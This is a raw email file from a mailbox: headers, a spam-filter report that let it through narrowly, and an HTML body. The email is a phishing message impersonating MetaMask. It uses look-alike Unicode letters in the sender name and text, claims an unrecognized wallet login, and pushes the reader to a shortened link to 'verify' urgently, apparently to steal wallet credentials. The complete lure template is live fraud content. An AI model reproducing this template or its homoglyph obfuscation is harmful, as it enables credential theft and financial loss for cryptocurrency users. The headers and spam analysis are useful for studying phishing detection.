File: /home/edtir/mail/.info@metal-sanat_com/new/1752299566.M790228P1098.starfruit.7ho.st,S=7935,W=8139
Return-Path: <postmaster@f3e77d18c7.nxcli.io>
Delivered-To: info@metal-sanat.com
Received: from starfruit.7ho.st
by starfruit.7ho.st with LMTP
id +E9ILi74cWhKBAAAeMCD9A
(envelope-from <postmaster@f3e77d18c7.nxcli.io>)
for <info@metal-sanat.com>; Sat, 12 Jul 2025 09:22:46 +0330
Return-path: <postmaster@f3e77d18c7.nxcli.io>
Envelope-to: info@metal-sanat.com
Delivery-date: Sat, 12 Jul 2025 09:22:46 +0330
Received: from cloudhost-1920808.us-midwest-1.nxcli.net ([8.29.155.178]:47520)
by starfruit.7ho.st with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(Exim 4.96.2)
(envelope-from <postmaster@f3e77d18c7.nxcli.io>)
id 1uaTAH-0000c0-0Z
for info@metal-sanat.com;
Sat, 12 Jul 2025 09:22:46 +0330
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=default; d=f3e77d18c7.nxcli.io;
b=YVoy0z9fyePCo/SxpU6fEtw2d8GncFpIO1ylxHOO+LEvVNBfRd0XAp1j9E6JBF/pzkRJvFKrc3BAuqa3hxui8nE4Upnu+jqrXs3KzhLUErhZWrG6o6baci/3n7g6KT0bPSkp3yP0VJiVeas5VJhho6j02jHECtzZI6MSr+0FH/SietXu3oWAmihAQN4aZkFSO1Sev3z/mVnYY8gLGZUbFjgymkruycyzih8civdxLb1VIYhoj2BiRgv1WQvyAjj1W4d7iDQ4+KLAYnYEL67t6/3KZEDkuBI+RPC/7zmA4ZryR0yX2Ix3T5ntsWYjS/8kkpGKlFC3OSwLw7iQNJhttw==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority:List-Unsubscribe;
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=f3e77d18c7.nxcli.io; h=
date:message-id:to:subject:from:reply-to:mime-version
:content-type:list-unsubscribe; s=default; bh=mHRF1KjwJagvmZA8um
/PDEgIwAQ=; b=RbXbBMGHhv4t+XWFkoKjl2B2sU57S0kahSgzY2pxCzQexQtEuX
XvIpa9oAD3B4Vmq1ficpDCBaleDgclViuEn0gVhlQEuJHINvWlbZn5egSqB3SPCY
dvvbHOgiio4O/sou/Dmhqtv/igQhTjrh6xNosG+bUfDf0bUqcqJcTJ2UzJNhYWYl
poUsJua21ysggveyrjVqwVcZoH69oTiZ91m4ind7y990btqxSSErTTHQeO5AJRg4
JAywDYOG8XxHhfzlS6z1DatMoo1pReRBh2aVwfNJ2mUMr2PZW4LmjMAVwKKy+PTO
4NMd6Q4ZzAg2IQYZYyNAoes/aGtnpFT3k8fw==
Received: (qmail 20886 invoked by uid 10217); 12 Jul 2025 05:52:01 +0000
Date: 12 Jul 2025 05:52:01 +0000
Message-ID: <20250712055201.20885.qmail@cloudhost-1920808.us-midwest-1.nxcli.net>
To: info@metal-sanat.com
Subject: Important Secυrity Alert
X-PHP-Originating-Script: 10217:done.php
From: "MetаMаѕk" <jarltyze@dce.io>
Reply-To: jarltyze@dce.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
List-Unsubscribe: <mailto:unsubscribe@jarltyze@dce.io>
X-Spam-Status: No, score=4.9
X-Spam-Score: 49
X-Spam-Bar: ++++
X-Ham-Report: Spam detection software, running on the system "starfruit.7ho.st",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: MetаMаsk Security Alert Unrecognized Lоgіn Attempt Your
wallet was accessed from a location or device we don’t recognize.
Content analysis details: (4.9 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.1 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[8.29.155.178 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[8.29.155.178 listed in sa-trusted.bondedsender.org]
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
2.0 PYZOR_CHECK Listed in Pyzor
(https://pyzor.readthedocs.io/en/latest/)
0.0 KAM_SHORT Use of a URL Shortener for very short URL
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
2.5 UNICODE_OBFU_ASC Obfuscating text with unicode
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
X-Spam-Flag: NO
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>MetаMаsk Security Alert</title>
<style>
/* Reset and base styles */
body, table, td, a {
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
}
body {
margin: 0;
padding: 30px 0;
background-color: #f4f5f7;
font-family: 'Segoe UI', Arial, sans-serif;
color: #333333;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
table {
border-collapse: collapse !important;
}
a {
color: #f6851b;
text-decoration: none;
}
.email-container {
max-width: 540px;
margin: 0 auto;
background: #ffffff;
border-radius: 12px;
box-shadow: 0 4px 18px rgba(0,0,0,0.06);
padding: 30px 28px;
}
.logo {
text-align: center;
margin-bottom: 20px;
}
.logo img {
width: 58px;
height: auto;
display: block;
margin: 0 auto;
}
h2 {
font-size: 22px;
color: #f6851b;
text-align: center;
margin-bottom: 14px;
font-weight: 600;
}
p {
font-size: 15px;
line-height: 1.6;
text-align: center;
margin: 0 0 16px;
}
.button-container {
text-align: center;
margin: 28px 0;
}
.button {
background-color: #f6851b;
color: #ffffff;
padding: 12px 30px;
font-size: 15px;
font-weight: 600;
border-radius: 8px;
display: inline-block;
}
.footer {
font-size: 12px;
color: #999999;
text-align: center;
margin-top: 22px;
line-height: 1.4;
font-style: italic;
}
/* Responsive */
@media screen and (max-width: 600px) {
.email-container {
width: 100% !important;
border-radius: 0;
}
}
</style>
</head>
<body>
<center>
<table width="100%" bgcolor="#f4f5f7" cellpadding="0" cellspacing="0" role="presentation">
<tr>
<td>
<table class="email-container" role="presentation" cellpadding="0" cellspacing="0" width="540" bgcolor="#ffffff">
<tr>
<td>
<div class="logo">
<img src="https://upload.wikimedia.org/wikipedia/commons/3/36/MetaMask_Fox.svg" alt="MetаMаsk Logo" width="58" height="58" />
</div>
<h2>Unrecognized Lоgіn Attempt</h2>
<p>Your wallet was accessed from a location or device we don’t recognize.</p>
<p>To protect your assets, please verify this activity immediately.</p>
<div class="button-container">
<a href="https://t.co/EAH6HQJgxa?id=-3616670423323057423-7057" class="button" target="_blank" rel="noopener">🔐 Review Lоgіn</a>
</div>
<div class="footer">
If this was you, no further action is needed.<br />
Thank you for helping keep your wallet secure.<br /><br />
— MetаMаsk Security Team
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</center>
</body>
</html>